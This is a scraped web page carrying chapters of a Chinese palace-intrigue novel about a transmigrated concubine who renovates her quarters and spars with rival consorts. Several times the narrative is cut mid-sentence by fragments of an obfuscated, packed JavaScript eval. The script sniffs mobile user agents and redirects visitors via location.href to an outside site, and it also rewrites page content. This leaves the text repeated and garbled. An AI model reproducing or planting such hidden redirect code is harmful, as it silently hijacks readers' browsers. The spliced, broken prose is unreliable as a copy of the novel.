RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914503|192506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她这副身子还有的调养呢,若是不能在皇帝回銮前养好气色,怎么重获圣宠啊? 只是这么一打岔,她忽然回过神来:刚穿越来那会儿,她看静澜轩荒凉得跟座坟似的,就以为原身失宠于皇帝的同时也失去了家里的支持,爹不疼娘不爱的。现在看来,原身的家里对原身是真心不错,失宠这三年来银子还是流水似的送进来,从来没间断过。 那么要是皇帝带着其他妃嫔回銮,她不能再猴子称代王的时候,家里是不是也能尽力供养她? 想到这儿,沈宓满意地躺在了床上,就算整修静澜轩掏空了大半家底,但她有强有力的后盾,这还怕啥啊?就是26岁大龄已婚女,还伸手跟家里要钱,明天得好好想想措辞,怎么说才好。 一夜黑甜,沈宓起了个大早,用过早膳,打了几遍八段锦,仔细梳洗过后,她便坐在了东偏殿靠窗的书桌前构思怎么写跟家里要钱的信。正想得入迷的时候,门外太监扯着尖亮的嗓子喊道:“金贵人到。” 沈宓眉心一蹙,这个憨货来干嘛? 金贵人进来东偏殿后,懒洋洋地打量了下堆着东西有些杂乱的小厅,随即嫌弃地用香帕遮住口鼻,另只手矫揉造作地扶着腰肢走进了内室来。 “呦,晴嫔倒是好雅兴,这殿外边忙得热火朝天的,你倒是在这儿舞文弄墨起来。看来这日子是苦尽甘来,当真可喜可贺啊。” 沈宓虚受了金贵人的礼,请人到靠窗的坐塌上,脸上笑盈盈的,“妹妹说笑了,不日妹妹即将安稳诞下龙胎,家中父兄又正得圣心,将来妃为嫔是板上钉钉的事儿,后福无穷,该是姐姐恭贺妹妹才是啊。” 一番话说得金贵人眉眼飞扬,她半垂着眸打量着沈宓,这位曾经宠冠六宫、对着自己颐指气使的宠妃如今满脸病容,也学会和自己说软和话了。 她原先是有些不耻的,甚至还要借机嘲讽羞辱一番,但能揪出福灵这个德妃埋在后宫中的大钉子,让她心中安稳,好好养胎,晴嫔确实出了力。 更何况明珠说得对,眼下宫中人多眼杂,多一个朋友总比多一个敌人好,她也就暂且放下二人曾经的恩怨,给些薄面就是了。 “这还要多谢姐姐,否则嫔妾怎么能顺藤摸瓜,打了德妃的人一个措手不及呢?” 沈宓的脸色落寞下来,捏了捏帕子的一角,问道:“她都招了?” “自然,慎刑司流水的刑具,就是身强体壮的侍卫进去也得丢半天命,更何况是那个草包贱婢?还没过三日就招了,为了避免打草惊蛇,嫔妾封锁了消息,果然又揪出了一窝心怀不轨的暗桩。他们的口供一致,和姐姐预料得一样,福灵从那些人手中拿了疯药下在姐姐的饮食中,然后又让嫔妾宫中的暗桩撺掇嫔妾来找姐姐麻烦,咱们若是争执起来,便顺其自然地落胎,真是好歹毒的算计!” 沈宓听着金贵人的话,细细思量着,冥冥中一切似乎进行得格外顺利。 “这个贱婢怎么敢!枉本宫平日里是那样疼她!”沈宓面上当然要装作痛心疾首的模样。 “的确是个烂污糟心的贱婢,姐姐还不知道吧?这福灵的私房怕是比个普通贵人都要多呢。这德妃不仅用钱财收买了福灵,还许诺她事成后向皇上举荐她当妃嫔呢,真是痴心妄想!” “什么!”沈宓恰到好处地装出一副目眦欲裂的模样,金贵人看得痛快极了,笑得一脸幸灾乐祸。 等欣赏完了沈宓的恼羞成怒,她眼中闪过一片寒凉,状似不经意地说道:“若是那贱婢老老实实、本本分分地留在姐姐身边,如今也算是苦尽甘来。可偏偏人心不足蛇吞象,要捡那高枝爬,这不就摔得粉身碎骨了?姐姐,你也算是宫中的老人了,自然懂得比妹妹多。如今皇上皇后娘娘不在宫中,咱们更要紧守门户,为皇上分忧才是。否则皇上回銮后,若是知道了德妃的恶毒事,还不知道要怎么动怒呢。谁不长眼凑上去了,恐怕真是神仙也难救啊。” 沈宓眼波流转,轻轻挑起唇角,“妹妹说的是啊,如今妹妹怀着身孕,是宫里一等一的金贵人,有那什么不长眼的只能是自取死路。姐姐虽然虚长妹妹几岁,想为妹妹尽些心力,奈何病体初愈,怕过了病气给妹妹,只能日夜祝祷,为妹妹抄经祈福了。” 金贵人懒懒地抬了抬眼皮,“姐姐有心了,你这静澜轩中如今事忙,若是有什么短了缺了的就去启祥宫找妹妹说一声,不要和宫里那些糊涂奴才置气了,没得降了身份。咱们也算是共患难的交情,妹妹自然不会忘了姐姐的。” 东偏殿实在太窄小了,金贵人没待片刻就扶着腰肢,煞有介事地走了。 沈宓冷笑了声,果然这宫里混的没一个简单。原先还以为金贵人是个草包,没想到今日也含沙射影地警告她不要再在宫里闹腾,这是怕自己借着她的大旗壮大势力,对她腹中的龙胎不利呢。 至于为什么不借着福灵的事顺便把自己除掉,作为贵妃的心腹,金贵人自然更想除掉德妃。 有自己作证,一嫔一有孕的贵人对上德妃,再有贵妃施压,德妃就是不死也得脱层皮。 故而,今日这是恩威并施地来结盟呢。 可是结盟就算了,德妃不是什么好鸟,贵妃就更不是,否则金贵人就不会······ 9. 第九顿饭 沈宓摇了摇头,多想无益,她现在就是宫中一个任人宰割的小可怜,还是努力让自己的日子过好才是正事。 只不过,看金贵人的意思是绝不可能让她再和福灵单独见面,可恶,她的三千多两银子啊! 转眼到了六月下旬,杜公公别的不说,做事确实麻利,一个月刚出头的时间,静澜轩的工程已然进入尾声。 沈宓很注重居住的舒适性,故而正殿是用古代的玉色,类似于一种肉色的胶泥铺墙,隔断、橱子、柜子、多宝架、坐塌等等家具渐次从秋葵绿到松绿再到浆果红,纱幔用琥珀色和胭脂粉色。 这样高饱和度色彩的运用,让整个屋子都明亮温暖,人住进去自然心情愉悦。 正殿面阔五间,十分宽敞,明间是大客厅,是接驾或者迎宾的地方。沈宓最爱牡丹芍药,但牡丹身娇肉贵,屋里是养不得的。好在原身也喜欢牡丹,曾和皇帝要了件一人高的碧玺琉璃宝石牡丹盆景,金与碧玺做枝叶,红粉红白琉璃做出密密叠叠的牡丹花,妙的是根处还用青蓝宝石做成了小巧的假山。 沈宓毫不犹豫地摆在了明间中央,当真是富丽精致,华彩飞扬。 盆景前便是嫔位宝座,宝座后是架三扇紫檀木嵌碧玉百花纹屏风,宝座左右的花几上摆放着两尊珐琅彩的太平有象瓶,下面两个香几上是一对造型古朴的青金色小香炉。沈宓最爱的是宝座前两只孔雀铜雕摆件,尾部装饰着繁密的孔雀尾羽,如瀑布倾下,青翠嫩亮,当真是雍容华美。 走进东次间,临窗是座大坐塌,坐塌前摆着景泰蓝群山式样的大香炉,青绿色洒金,好像千里江山图展现在眼前。北面是梳妆室和浴室,梳妆室要大些,还有衣帽间的作用。浴室紧挨着东次间的卧室,里面装点了好多芳草鲜花等绿植。 沈宓按照古人藏风聚气的说法,把卧室装得很小,只放了一张黄花梨木的大床并几样色调柔和的家具,以简单舒适为主。 西次间也是一张临窗坐塌,正中央是一盆造型古朴精致的矮子松,北边建了座后宫中的网红小佛堂,紧挨着小佛堂的是一间静室,沈宓上辈子女团起家,眼下要争宠,自然要把老本行捡起来,以后就在这唱歌练舞。 往前走就是西稍间,放了一张黄花梨木的贵妃榻,用来午间小憩。贵妃榻前是一张临窗紫檀木桌,桌子旁是小书架,平日里可用来看书、画画之类。 屋内装饰多以花草为主,再加上一两件古朴高雅又贵重的摆件,算是点睛之笔,沈宓真是越看越满意。 西配殿还是做成了饮绿轩——古人的空调房。 殿中央是一高一低两块假山,两山之间有一蓄水的池,用竹管就地取材引来庭院中的水,水满则倾斜而下形成瀑布,注入池中。几朵睡莲飘在水面,莲下红鱼游曳,水池周围又遍植鲜花绿植,香炉燃起,烟雾袅袅间,颇有山水意趣。 坐在这儿,人的心先静下来,自然更觉凉爽,夏日避暑,真是妙极。 假山水池前是一张曲水流畅的石桌,桌上流水潺潺,高度正好和假山下的水池持平,从远处看,便是石桌承接了假山瀑布,视觉效果十分巧妙。 沈宓坐在桌前欣赏了好久,不得不叹服古人技艺的精妙,她不过是提了一个想法,这做出来的东西却远超她的预期。除了手法外,没有高级的审美是万万做不到的。 沈宓想冬天也不能闲置,可用棉花做成白雪,替换瀑布水流,再插红梅,便可在这里赏雪赏梅,又有一番情趣。 西配殿的南北次间分别做成了茶室和点心室,平日里在这喝茶闲聊也是再好不过的。 从西配殿往前走就是连水长廊,长廊保留了原样,廊檐下做了紫藤花的枝干和花朵雕饰,远远望去,一片花海碧水,极为赏心悦目。 工匠们在清理水池,铺设池岸时用了些巧思,从高处望去,就像个大大的八字,沈宓十分满意,大方地赐了赏钱,又赐名八福池。 从池心亭往远处望去,岸边的临水长廊蜿蜒起伏,是爬满了真的紫藤花。阳光穿过花叶缝隙如碎金洒下,蝶飞蜂舞,鸟鸣脆远,若是在廊下捧一本书,那是相当有意境了。 沈宓下意识地想掏口袋里的手机,想留存下这良辰美景,奈何掏了个寂寞,不由得叹了口气。 水廊前是一片芳草绿地,鉴于这个花园紧挨宫门口,若是遍植花草树木则会显得凌乱,且喧宾夺主。故而,她用假山造景,把草剪的厚而齐,做成草坪,间或植一丛竹子或几株牡丹点缀。 沈宓前世最爱孔雀了,尤其是国产的绿孔雀,数量稀少,就算在动物园也很难见到。如今穿越到了古代,这绿孔雀倒是寻常。她毫不客气地从花鸟房薅了一对成色最好的绿孔雀并一对蓝孔雀养在了这里。 芳草萋萋,孔雀于飞,华丽斑斓的羽毛在阳光下光华流转,沈宓有时候能看上半天,只觉得颇有意趣。 从湖心亭走至岸边,经过东配殿,东配殿无人居住,南北次间便被做成了办公室和茶室,是她和宫人们处理宫务的地方。 从东配殿往北走就来到了后花园。后花园是个四分之一圆的形状,她让匠人们在中间造了座凉亭隔开,东边是菜园,遍植瓜果蔬菜,临靠花园边上还建了座小小的火室,也就是古代的大棚。她原本想建大些的,但听匠人们说维护成本极高,和福喜、福清以及常盛盘算了下手中的银子,还是算了。 凉亭东边自然是花园,种满了牡丹、芍药和月季,牡丹和芍药夏季怕晒,边上又植了几颗海棠、玉兰、桂花、梅花树遮阴,冬天便可造景。 当然,她也在花园边上造了一座小小的暖室,以备冬日养护花草,要不然只赏梅花那可太单调了。 再往西边走就是静澜轩的小厨房和宫人们住的房子,沈宓也让匠人们精心修缮,尤其是厨房,陶渊明是不能居无竹,但她不能宁可食无肉啊。 不仅要吃肉,她还要吃好的,吃贵的,故而,光是装米面粮油的柜子和架子,她也吩咐工匠,用的是上好的黄花梨木。 沈宓还让匠人在小厨房旁砌了座熊猫样式的烤炉,又从内务府定做了一套烧烤架,以后就能实现北京烤鸭和烧烤自由。 只是福喜看了半天,还是叹了口气:“也不知道娘娘您怎么想的,这小厨房地砖都擦得晶亮,却独独不垒灶台。今日这一看,属实不尴不尬的。” 福喜自从福灵进了慎刑司后,也不知怎的就厉害起来,时常连自己都要说上两句,沈宓摇头笑了笑,谁让原身前几年着实薄待了这位憨姑娘,她只得宠着了。 “这是本宫的妙计,你且看着,到时候就知道本宫的良苦用心喽。” 宫人们的房,沈宓更仔细地查看了一番,修的是窗明几净、温馨舒适,就连西边三等宫人和粗使宫人的大通铺都全部换了新炕。家具更全是新的,她又命福喜、福清从库房里挑出些摆件和花草装饰,让一众宫人们都受宠若惊。 沈宓笑了笑:“这才哪到哪儿,晚上咱们在饮绿轩摆膳,一同乐一乐才好呢。” 新家落成,要庆贺自然是热辣滚烫的火锅最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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常盛闻言,早已红了眼眶,“忠心侍奉娘娘本就是奴才的本分,娘娘这么说岂非折煞奴才等?退一万步说,若是没有娘娘的费心筹谋,别说今日静澜轩的光景,恐怕奴才们早就被金贵人拖入慎刑司,折磨致死了。娘娘的大恩大德,奴才们没齿难忘,定为娘娘赴汤蹈火、万死不辞。” 常盛这么一带头,底下的人自然异口同声地朝沈宓表忠心。沈宓一一扶起他们,说道:“你们的忠心本宫岂能不知?都起来吧。其实,这宫中无论主子还是奴才,都是人,都有七情六欲,都想把日子过好。故而本宫从此必定会重新振作,不说会让你们享尽荣华富贵,但总能安享余生。届时,还得需要咱们一家人齐心协力、同舟共济才是啊。” 先肯定每个人对静澜轩作出的贡献,认可他们的身份和价值,让他们产生强烈的集体归属感,再树立目标,从弱势的角度寻求他们的帮助,激发他们的工作热情。当然这一切都是建立在静澜轩已经发放的福利和未来可实现的前景上,落到了实处,这样的大饼员工才会买账啊。 敌人的凶残固然可怕,但队友的背叛更令人触目惊心。皇帝如今才二十又八,正当盛年,未来后宫风云变化,仅仅霸占着龙床,早晚会被人拖下来。 故而,沈宓的作战计划就是先从自己的宫室做起,稳扎稳打,逐渐玩转后宫。 静澜轩整修好后,沈宓吃得更好,睡得更香,每天闲了就看看孔雀,钓钓鱼,再赏赏花,身上的病气十之去了五六,原身的这张脸便越发明艳娇美起来。 可这样惬意安宁的日子没过几天,启祥宫金贵人那里就传来了惊天的噩耗······ 10. 第十顿饭 沈宓赶到启祥宫的时候,宫内已是一片愁云惨雾,倒是宫人们行走间按部就班,还算规矩得体。 在月台上候了片刻,明珠红着眼出来行礼:“奴婢见过晴嫔娘娘,娘娘吉安。” “好姑娘,快免礼吧,你家小主出了这样的大事,难为你还稳得住把这启祥宫管得妥妥当当的。”沈宓拉着明珠的手,面儿上很是关切道。 明珠作为金贵人的心腹,在主子落难时,其实和金贵人一样,此刻并不是很待见晴嫔,却没想到她能说出这番妥帖暖心的话来,当下心中也松缓了几分。 “娘娘谬赞了,奴婢愧不敢当。” “金妹妹有你这样贴心的人儿,真是好福气,只是她那样好的人,竟然······” “晴嫔娘娘······”明珠闻言,已然是哽咽难言,泪湿衣襟。 沈宓眉眼间恰到好处地浮起一抹愁绪来,“福喜,还不快扶着你明珠姐姐,别叫她太难受了。” 明珠突闻噩耗,悲痛难忍,神智有些松垮,再者,如今宫中无主,晴嫔作为主位娘娘,她自然要卖几分薄面。 沈宓被请进东偏殿坐下,明珠让人上了好茶和糕点来,赔罪道:“晴嫔娘娘恕罪,我家小主小产后伤心至极,实在无力待客,委屈娘娘了。不过娘娘要是有什么想与我家小主叮嘱的,小主一定把话带到。” 沈宓拿帕子压着眼睛:“嗨,你说金妹妹好好的,怎的突然遭此横祸?本宫遥想当年自己受的罪,便更知金妹妹的彻骨之痛,真是让人心都碎了。” 明珠自是泣不成声,过了些时候,她忽地咬牙切齿地恨道:“说起来我家小主都是被奸人害了呀!” 沈宓见状,忙乘胜追击,问奸人是谁,这明珠却和她打起太极来,哭得肝肠寸断,上气不接下气。明珠的姐妹便顺势告罪,说启祥宫上下如今都仰仗着明珠姑姑,便请求搀扶着下去歇息。 沈宓哪里还能不应允,这不是上赶着结仇嘛?她只得留下补品,带着宫女一脸哀戚地走了。 等回了静澜轩,福喜忍不住嫌弃道:“这个明珠最是鬼心眼儿了,装模作样地把娘娘请进殿,却跟锯了嘴儿的葫芦似的,什么也不说,这不是戏耍娘娘嘛?真是小人之心度君子之腹,咱们还能上赶着去给她们小主补上一刀?” 福清掩唇笑了笑:“姐姐说笑了,瞧金贵人都病得起不来床了,哪里还能等到咱们去啊?” 沈宓也跟着笑,不过,对于明珠这一番唱念做打,她却是门儿清。说白了,这丫头一来戒备自己,怕金贵人的事儿自己牵扯其中,自然不能让自己打探到消息。二来又看不上自己,认为她就算知道了也只会徒增宫中的流言蜚语。 这面儿上自然就真的不能再真地承了她的情,内里却是一个字儿不露外加白眼套餐。 她摇头叹了口气,若是金贵人有明珠一半儿的机智能干,恐怕也不会被人算计了去。 常九这小子是个鬼灵精,平日里看着嘴上没个把门儿的,实则称兄道弟、结交人脉、打探消息上着实是一把好手。 这几日他拿着沈宓给的金银财宝,下了好番功夫终于打听了来:那日金贵人在殿中养胎久了觉得憋闷,去宫中小花园散步透气,不想刚在凉亭中坐下便听到树木花丛间传来两个宫女隐秘的笑声。 原来是其中一个宫女想着皇上回銮后,金贵人身子重不方便伺候,便想着凭借容色爬龙床。 金贵人当即大怒,命人捉了两个宫女来一看,只见那口出狂言的果然很有几分姿色。 她这段时日来,胎象极不安稳,整个人虚弱憔悴本就容色大损,这下更是心如火焚,便狠辣地要毁了那宫女的容貌,再打入慎刑司受酷刑。 不曾想这宫女也是个烈性的,见金贵人要断了自己满心痴梦,趁人不备,挣脱了束缚,疯牛似的冲撞了上去。金贵人当场重重摔在凹凸不平的鹅卵石路上,血很快浸染了满地······ 沈宓拧着眉听完,有些狐疑地问道:“那小宫女可查清是谁?” “这······”常九有些不好意思地挠了挠后脑勺儿,“启祥宫的人好像对那个小宫女格外上心,口风严得紧,奴才实在是法子了。” 福喜脸上也满是疑惑:“这小宫女什么来头,这么厉害?别的也就罢了,启祥宫那么大,伺候的人又多,竟拦不住一个小小的宫女吗?” 沈宓冷笑一声:“你也说了,启祥宫那么大,谁知道里面住的哪些是人,哪些是鬼?” 福喜脸上显出几分后怕的神色来:“还好娘娘及时料理了福灵这个贱蹄子!” 福灵是个贱蹄子不假,但恐怕这幕后的推手更加可怕。 沈宓脸色凝重了些,这次下手的人会谁呢?还会是德妃吗? 如果是德妃,在明知上个计划败露的情况下,她真的还能再冒这样大的风险吗? 可若不是德妃······ 沈宓思来想去还没理出个头绪来,几日后启祥宫再度传来噩耗:金贵人小产身弱以致血崩,不治而亡。 将将七月中旬,行宫处就传来了皇上回銮的消息。 整个紫华宫上上下下都紧张忙碌起来,宫人们做事都小心翼翼的,生怕闹出些什么乱子被上头抓住责罚。 静澜轩也不能免俗,马上就要见大boss皇帝、顶头上司皇后、难缠主管娘娘等等职场老虎饿狼,她这半个后宫新人多少还有点儿怵头。 首饰衣服得选起来,规矩礼仪得练起来,应对死对头皇后、贵妃,尤其是德妃的策略得ABC多套方案拿出来。 忙忙叨叨了好几天,别的没什么头绪,就是胃口和睡眠质量越来越好了。没办法啊,原身体虚,累了就得多补补啊。 就在皇上回銮的前一天,内务府掌仪司和尚仪局的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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福清见了是不住口地夸,福喜也满脸喜气,只是到底有些担忧道:“娘娘今天甚美,恐怕后宫无人能及,然而今日少不得要和贵妃与德妃打机锋,咱们这样是不是太惹眼了?” 沈宓轻笑一声:“本宫不惹眼她们就会放过本宫了?这宫中处处都是拜高踩低,本宫以前把她们都得罪狠了,若装出一副可怜兮兮的模样,还不知道怎么被她们磋磨呢。倒不如支棱起来,她们怕是一时三刻不知如何拿捏本宫,反而会忌惮三分。” 在太监尖细悠长的嗓音中,沈宓慢慢走进栖凤宫正殿昭阳殿,此时正殿中已经坐满了大半的嫔妃,闻言齐刷刷朝她看过来。 右上首的一位宫妃面色尤其激烈,眼中满是惊怒,在她一步步走近时,阴狠狠毒的眸光几乎要溢出眼眶来。 沈宓耳边叮地一声,感觉体内似乎有什么在暴动,她恍然大悟,得,这肯定就是原身的死敌——德妃。 皇后宝座上无人,左首尊位上也没人,沈宓只好顶着众嫔妃或尖酸或恶意或幸灾乐祸的眼神,硬着头皮走到德妃跟前…… 11. 第十一顿饭 德妃是标准的瓜子脸,长相浓郁美艳,只是眉眼间满是煞气,显得极为凌厉,很有上位者的威严。 她今日也穿了套齐紫色喜鹊登梅枝的云锦宫装,还同样梳着高髻,头戴偏凤金钗,红宝石流苏。 撞衫的怨气有多大,沈宓上辈子身为女明星能不知道嘛?可她又不丑,她才不管呢。 按照规矩蹲身行了礼后,德妃却嗤笑一声,金嵌红宝石的护甲一下下敲在紫檀木桌上,并不叫起。 沈宓不惯着她,又问了声安,德妃当然充耳不闻。 沈宓见她如此便大着嗓子又问,直到德妃恼怒地喝了一声:“大胆,昭阳殿中岂容你喧哗?” 此时,四周也陆陆续续传来嗤笑声,沈宓就知道,这满宫里能看得惯原身的就没几个。眼角余光扫去,果然一个个都幸灾乐祸,有些心思浅的,恨不得立刻落井下石,捅她几刀。 沈宓抬起头,不卑不吭地冲德妃微微一笑:“原来德妃娘娘能听到嫔妾问安啊,嫔妾还以为娘娘去了趟行宫,贵体出了什么岔子呢。” 德妃一拍桌子,怒瞪了过来,“你竟敢诅咒本宫,给本宫跪下!” 沈宓直起了身从容地走向左首第二位的位子坐下,“德妃娘娘,昭阳殿中嫔妾不能喧哗,恐怕你也不能吧?” 德妃盛怒,只是眼中多了丝惊诧,她想不明白的是一个疯了三年的罪妇清醒过来也就罢了,如今竟然珠光宝气地站在自己面前,还像以前那样挑衅,简直没有王法! 同样诧异的当然还有满座嫔妃,她们在行宫中得到消息的时候,个个都觉得跟话本子里的故事一样离奇:一个疯疯癫癫,跟进了冷宫无异的失宠老妃子竟突然好了,还联手金贵人把后宫搅得天翻地覆。 她们更没想到今天还有更离奇的——这位竟然底气十足地对上了又得宠又协理宫权的从一品四妃! 她们只是离开了两个来月,这宫里是怎么了? “大胆晴嫔!你之前就行为乖张,欺辱嫔妃、谋害皇嗣。皇上降罪于你后,你不在静澜轩好好思过,反而明目张胆地和本宫作对,以下犯上,还不跪下认罪!”德妃凌厉地站了起来,指着沈宓的鼻子毫不客气地怒骂。 沈宓轻轻摸着手上的银镀金红玛瑙护甲,淡笑道,“德妃娘娘好大的阵仗,不知道的还以为这昭阳殿是德妃娘娘当家了?” 德妃惊怒地看着晴嫔,她这疯病到底是好了,还是更坏了? 这时,正殿宝座后突然响起宫女的唱喏声,“皇后娘娘到。” 一阵玉绶环响,孙皇后步履缓慢地走到了宝座上。她身穿象牙白色的宋锦长袖衫,只梳了个简约的小盘髻,插了根凤钗,别了朵姚黄牡丹绢花,眉眼间是个长相端庄温婉的女人,只是面容有些苍白,眉眼微垂,看着有些倦怠。 众嫔妃见皇后坐定,便都起身朝皇后问安,沈宓嘴上喊着皇后娘娘安,皇后娘娘好,心里却一阵苦涩。德妃气焰嚣张已经足够难缠,直觉告诉她,这皇后看着更不是个省油的灯,万一她为了报当年之仇和德妃站一块儿,也不知道今天又会闹出什么是非来。 德妃匆匆地朝孙皇后问安行礼后,忙不迭地说道:“皇后娘娘,您方才不在,不知道这晴嫔多放肆。不仅对之前的过错拒不悔改,还对臣妾失礼不敬,请皇后娘娘明察,一定要重重惩戒晴嫔,以正宫规!” 孙皇后闻言并没有多少触动,目光缓慢又深沉地落在沈宓身上,看她穿着打扮华贵明丽、瑰姿艳逸,甚至比之当年更添了些从容悠然的美态,眉心微蹙了下,很快,又笑得如莲台观音般。 “晴嫔,昨日事忙,还没来得及恭喜你大病痊愈,不想你如今竟能出来走动了,本宫甚是欣慰。只是怎的一来就与德妃对上了?如今你二人身份不同,你可不要再犯糊涂啊。” 沈宓一听就明白了孙皇后怕是对自己没什么好感,不仅上来就说自己不安分,病还没好全就上赶着出来作妖,还直接定了自己的罪——挑衅德妃,更阴阳自己被皇上贬斥,早已不是当年宠冠六宫的晴妃,该好好认清自己的身份了。 果然是个道行深厚的白莲花精啊。 “嫔妾惶恐,自嫔妾病愈来,日日反省己身,方知此前犯下大错,幸得皇上和皇后娘娘仁慈宽恕,自病愈清醒后便日日抄经供奉佛前,一是为忏悔自己的罪孽,二是为皇上和皇后娘娘祈福,从未懈怠。嫔妾正是铭记皇上和皇后恩德,故而在行事上更是小心谨慎,来到殿中见到德妃娘娘就行礼问安了,只怕是德妃娘娘素来脾气有些急性,还记着当年的恩怨,对嫔妾有些怨言,嫔妾也甘愿领受,哪里敢以下犯上呢?”不就是做小伏低装可怜吗?她沈宓也挺能装的。 德妃说她不敬,她就拿当年的恩怨说事儿,就算她真的有错,德妃就能独善其身吗?这样一来,皇后就算不满自己,也不会轻易地偏帮德妃。 “贱婢,你竟敢污蔑本宫?”德妃一双眼睛快喷出火来。 沈宓委屈地蹙了下眉:“德妃娘娘,就算您对嫔妾再不满,也不能在皇后娘娘面前这样口无遮拦,这样不是教坏了后宫的年轻姐妹们嘛?” 有些嫔妃闻言,忍不住撇了撇嘴,三年不见,晴嫔胡搅蛮缠的功夫更见长了,这是想彻底坐实德妃公报私仇,并暗讽她上梁不正下梁歪。哎,这德妃娘娘也是,生气归生气,不能被气得失了方寸啊。 这时,坐在德妃身旁一位身穿石绿色宫装的妃嫔开了口,“说起口无遮拦,晴嫔妹妹这张嘴可不遑多让。方才向德妃娘娘请安时,明明是你言辞举止上不恭不敬,德妃娘娘好心教导了你两句,你却翻脸了,实在是不应该啊。也不知道你说的最近好好反省己过、忏悔罪责是怎么做的?” “还能怎么做,掩耳盗铃罢了。瞧这一身绫罗绸缎地穿着,哪里像是恭敬虔诚的忏悔,怕是来耀武扬威、兴风作浪的吧?”说话的是坐在开口妃嫔旁的一位着桃粉宫装的妇人。 沈宓闻言细细地看着二人,一个是容长脸高颧骨塌鼻梁,狭长的眼睛微眯总有种刻薄相,若不是穿着一身华贵的浮光锦,恐怕都要被这殿内的宫女们比下去。偏偏她还坐得像根竹竿,更显刻板老态。 一个圆脸小嘴,眼睛滴溜溜地转,却有种老谋深算却算不明白的感觉。 脑海里稍稍一过,沈宓就记起了两个人——庄妃和康嫔。 就这么一顿,德妃先她一步接过了话头,“庄妃这么一说,本宫倒想起来了。你说你最近好好在佛前忏悔,可本宫怎么听闻你没少在后宫中折腾,未经皇上和皇后娘娘、协理宫权的妃嫔允准,就敢大兴土木,违规修缮宫室,真是胆大包天。你可知罪!” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919221|192506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宓扫了眼德妃和庄妃,以及紧跟在庄妃边上坐的康嫔,她算是明白康嫔为什么会主动坐在右首第三位,乖乖地把左首第二位让给自己了,原来是为了方便三人联手,默契配合,好对自己下手啊。 “娘娘还真是耳聪目明,在行宫中替皇后娘娘协理着行宫,每日诸事缠身,还牵挂着嫔妾宫中的事,嫔妾甚是感动呢。为着娘娘的恩德,嫔妾也不敢违反宫规,让娘娘烦心。只是嫔妾的静澜轩经久失修,一下雨那正殿便似孙猴子的水帘洞似的,更别说轩内水池里的草都长到了一人高,蚊蝇遍布,气味儿难掩。嫔妾卑微,但好歹是正三品的九嫔,如此也太有损天家威严吧?故而在皇上回銮前必得好好修缮。为此嫔妾早早就派人把信件送到了行宫,以求得娘娘准许。莫非,是那些传信的奴才们不长眼,把信弄丢了亦或者胆大包天给损毁了?”沈宓微蹙着眉,看似疑惑地说道。 德妃性子虽然跋扈,但脑子并不算太笨,起初只是被沈宓气昏了头没忍住口舌,如今静下心来,自然明白沈宓的信不仅送到了她宫里,恐怕皇帝、皇后、贵妃那里也送了,而且还在金贵人这个贱人的游说下得到了允准。 她如果抓着这件事不放,一来,很快就会被贵妃打脸;二来,就有苛待嫔妃的嫌疑。 “本宫自然收到了信,还没来得及批复,贵妃娘娘那边就允准了。本宫还以为你受了贵妃娘娘的恩惠自然能安分守己,没想到你只是整修个小轩,就花了一千多两,这都能造出小半个静澜轩了,你还说没有大兴土木?” 庄妃闻言,满脸心痛,煞有介事地训诫道:“老天爷呀,晴嫔,你难道忘了皇上亲自示下,要例行节俭,你如此这般也太奢靡了。很显然,也是与宫规相悖的呀。” 话音刚落,殿内便有几个小嫔妃点头称是,纷纷应和起来。沈宓扫眼过去,在脑海里个个都过了一遍。 德妃闻言满意地瞥了庄妃一眼,她当然知道这宫规中对于嫔妃主动报修的宫殿修缮耗费并没有太明确的规定,毕竟花费的是嫔妃自己的钱,合宫的管事、宫人和匠人们全指望着这块的油水呢。 花费一千多两修缮宫殿在平时固然很扎眼,但静澜轩在她的授意下是有多么破败不堪,她自然一清二楚。这一千多两恐怕还是造办司给了面子的,根本不多。 可晴嫔之前就犯了大错,侥幸逃脱罪责还保留了嫔位,如今抓不住她违反宫规的小辫子,自然要找到其他机会往她身上泼脏水,这样才能让皇上彻底厌弃她。 沈宓笑了笑:“怎么?庄妃这样关心宫务怕不是也有心想替德妃娘娘分担一二?” 庄妃一听就变了脸色,她皱眉瞪了过来:“本宫何时说过这样的话?你要是这样污蔑本宫,本宫真的是百口莫辩······” 沈宓蹙了下眉,怎么觉得庄妃说话有一种故人风范?百口莫辩就别辩了,她现在懒得和庄妃浪费口舌,直接看向德妃:“还是说德妃娘娘自己违反了宫规,在这贼喊捉贼,想以多欺少,往嫔妾身上泼脏水呢?” 德妃脸上一片惊怒:“大胆晴嫔,你竟敢诽谤本宫!” “是不是诽谤,德妃心里你清楚得很,又何须如此疾言厉色,颠倒黑白呢?” 众人闻言,皆往昭阳殿外望去,只见皇帝和贵妃赫然站在殿门口,目光冷沉犀利地看过来。 12. 第十二顿饭 